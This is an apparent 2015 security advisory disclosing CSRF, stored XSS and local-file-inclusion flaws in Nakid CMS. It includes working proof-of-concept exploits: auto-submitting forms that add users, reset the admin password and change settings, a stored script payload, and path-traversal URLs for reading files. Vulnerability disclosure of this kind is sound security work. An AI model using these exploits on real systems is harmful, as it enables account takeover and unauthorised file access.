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Nakid-CMS CSRF, Persistent XSS & LFI



[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-NAKIDCMS0611.txt



Vendor:
================================
http://kilrizzy.github.io/Nakid-CMS/



Product:
================================
kilrizzy-Nakid-CMS-f274624
Nakid CMS is an open source content management system built using PHP and CodeIgniter.


Setup mode:
==========
Under root dir for Nakid CMS we set to production mode instead of development in index.php.
e.g. define('ENVIRONMENT', 'production');



Advisory Information:
================================================
CSRF, Persistent XSS &  Auth bypass LFI



Vulnerability Details:
=====================
Multiple CSRF(s) exist:

We have ability to do the following as no CSRF tokens are present.

1-Change Admin password
2-Add arbitrary users to system
3-Alter system settings



XSS (persistent):
XSS parameter vulnerabilities exist for the following:
payloads will be stored in the MySQL database and activated when a victim visits the vulnerable webpage.


XSS URL:
--------
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/users
On the "Edit Record" pop up dialog box.


Vulnerable parameters:
---------------------
username
password
email
fname
lname


XSS URL:
--------
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/settings
On the "Edit Record" pop up dialog box.


Vulnerable parameters:
---------------------
from_name
include_path
primary_email
from_email


XSS URL:
--------
http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/content_edit/1

Vulnerable parameter:
--------------------
title


Authentication bypass LFI:
Local file inclusion to bypass access controls and read aribitrary files exist by setting '$url' PHP variable on following URL

index.php/connector$url



Exploit POC code(s):
====================

CSRF(s):
========

Condition:
Pursuade victim to visit our webpage or click our link, if they have a session then we do our CSRF!.


1- Add arbitrary user to system 
--------------------------------

<!DOCTYPE>
<html>
<head>
<script>
function doit(){
var e=document.getElementById('ruinurlife')
e.submit()
}
</script>
</head>
<body onLoad="doit()">
<form id="ruinurlife" action="http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/grid/users"; method="post">
<input type="text" name="username" value="sum1" />
<input type="text" name="password" value="abc123" />
<input type="text" name="email" value="X@xxxxx"/>
<input type="text" name="fname" value="sum"/>
<input type="text" name="lname" value="1"/>
<input type="text" name="oper" value="add"/>
<input type="text" name="id" value="_empty"/>
</form> 
</body>
</html>


2-Change Admin password 
------------------------

<!DOCTYPE>
<html>
<head>
<script>
function doit(){
var e=document.getElementById('ruinurlife')
e.submit()
}
</script>
</head>
<body onLoad="doit()">
<form id="ruinurlife" action="http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/profile"; method="post">
<input type="text" name="username" value="admin" />
<input type="text" name="password" value="xyz123" />
<input type="text" name="email" value="hell@xxxxxxxxx"/>
<input type="text" name="fname" value="hyp3r"/>
<input type="text" name="lname" value="linx"/>
<input type="text" name="action" value="edit_profile"/>
<input type="text" name="submitbt" value="Save"/>
</form>
</body>
</html>


3-Alter system settings
-----------------------

<!DOCTYPE>
<html>
<head>
<script>
function doit(){
var e=document.getElementById('ruinurlife')
e.submit()
}
</script>
</head>
<body onLoad="doit()">
<form id="ruinurlife" action="http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/grid/settings"; method="post">
<input type="text" name="value" value="HELL@xxxxxxxxx" />
<input type="text" name="oper" value="edit" />
<input type="text" name="id" value="1"/>
</form>
</body>
</html>


XSS persistent POC code:
=======================

Inject <script>alert(666)</script> into any of the following vulnerable fields described above using POST method.
Need to highlight a row then click edit dialog box to edit settings.

e.g.

http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/system/settings

from_name     <------- <script>alert(666)</script> 
include_path
primary_email
from_email


Authorization bypass LFI:
========================

1- Logout, create a hell.txt file or whatever and put in 'htdocs' or web root, then visit the URL (change to suit your environment).

2- http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/connector$url=../../../../../../../hell.txt

OR try

http://localhost/kilrizzy-Nakid-CMS-f274624/kilrizzy-Nakid-CMS-f274624/index.php/connector$url=../../../../../../xampp/phpinfo.php




Disclosure Timeline:
=========================================================
Vendor Notification: NA
June 11, 2015 : Public Disclosure




Severity Level:
=========================================================
High



Description:
==========================================================

Request Method(s):         [+] GET & POST


Vulnerable Product:        [+] kilrizzy-Nakid-CMS-f274624


Vulnerable Parameter(s):   [+] 
                              username
                              password
                              email
                              fname
                              lname
                              from_name
                              include_path
                              primary_email
                              from_email
                              title
                              connector$url


Affected Area(s):          [+] /system/users
                               /system/profile
                               /system/content_edit/

===============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


(hyp3rlinx)